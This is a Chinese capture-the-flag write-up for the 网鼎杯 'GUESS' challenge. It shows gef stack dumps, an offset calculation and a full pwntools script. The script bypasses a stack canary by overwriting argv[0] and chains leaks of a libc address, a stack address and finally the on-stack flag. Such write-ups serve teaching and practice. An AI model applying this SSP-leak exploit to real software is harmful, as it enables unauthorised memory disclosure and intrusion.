漏洞点
保护
明显的栈溢出漏洞,但是开了canary保护但是flag被读取到栈上,所以可以用SSP(Stack Smashes Protect) leak来做,wiki这里讲得很清楚详细:https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/others/#stack-smash
那么我们的思路就是利用栈溢出覆盖 argv[0] 为puts_got地址 --> leak libc --> leak stack --> leak flag
首先观察栈找到存储argv[0]的地址
这里看到还有一种更快的方法直接找到地址
gef➤ p & __libc_argv[0]
$1 = (char **) 0x7fffffffdcf8
gef➤ telescope $rsp 60
0x00007fffffffdba0│+0x00: 0x00007fffffffdd28 → 0x00007fffffffe0f5 → 0x61682f656d6f682f ← $rsp
0x00007fffffffdba8│+0x08: 0x0000000100000000
0x00007fffffffdbb0│+0x10: 0x0000000000000000
0x00007fffffffdbb8│+0x18: 0x0000000000000003
0x00007fffffffdbc0│+0x20: 0x0000000000000000
0x00007fffffffdbc8│+0x28: 0x0000000000000003
0x00007fffffffdbd0│+0x30: "flag{123}"
0x00007fffffffdbd8│+0x38: 0x000000000000007d ("}"?)
0x00007fffffffdbe0│+0x40: 0xff000000000000ff
0x00007fffffffdbe8│+0x48: 0x0000000000000000
0x00007fffffffdbf0│+0x50: 0x0000000000000000
0x00007fffffffdbf8│+0x58: 0x0000000000000000
0x00007fffffffdc00│+0x60: 0x0000000000000001 ← $rdi
0x00007fffffffdc08│+0x68: 0x0000000000400bfd → add rbx, 0x1
0x00007fffffffdc10│+0x70: 0x0000000000000000
0x00007fffffffdc18│+0x78: 0x0000000000000000
0x00007fffffffdc20│+0x80: 0x0000000000400bb0 → push r15
0x00007fffffffdc28│+0x88: 0x00000000004008b0 → xor ebp, ebp
0x00007fffffffdc30│+0x90: 0x00007fffffffdd20 → 0x0000000000000001
0x00007fffffffdc38│+0x98: 0xea61426c9ce44500
0x00007fffffffdc40│+0xa0: 0x0000000000400bb0 → push r15 ← $rbp
0x00007fffffffdc48│+0xa8: 0x00007ffff7a2d830 → <__libc_start_main+240> mov edi, eax
0x00007fffffffdc50│+0xb0: 0x0000000000000000
0x00007fffffffdc58│+0xb8: 0x00007fffffffdd28 → 0x00007fffffffe0f5 → 0x61682f656d6f682f
gef➤ x/s 0x00007fffffffe0f5
0x7fffffffe0f5: "/home/hacker_mao/桌面/ 网鼎杯第一场/GUESS."
所以0x00007fffffffdd28就是我们要找的地址,我们的输入从0x00007fffffffdc00(rdi指针)开始,所以偏移为:
>>> 0x00007fffffffdd28 - 0x00007fffffffdc00
296
>>> hex(296)
'0x128'
所以泄漏地址的payload为
payload = 'a'*0x128 + 要泄漏的地址
完整exp:
from pwn import *
#context.log_level = 'debug'
puts_got = 0x602020
p = process('./GUESS.')
#leak libc
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts addr : 0x%x' %puts_addr)
#gdb.attach(p)
offset_puts = 0x000000000006f690
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x' %libc_base)
offset__environ = 0x00000000003c6f38
_environ_addr = libc_base + offset__environ
log.success('_environ addr : 0x%x' %_environ_addr)
#leak stack
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(_environ_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
stack_base = u64(p.recv(6).ljust(8,'\x00')) - 0x198
log.success('stack base addr : 0x%x' %stack_base)
flag_addr = stack_base + 0x30
#leak flag
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(flag_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
flag = p.recvuntil('}')
print flag
p.interactive()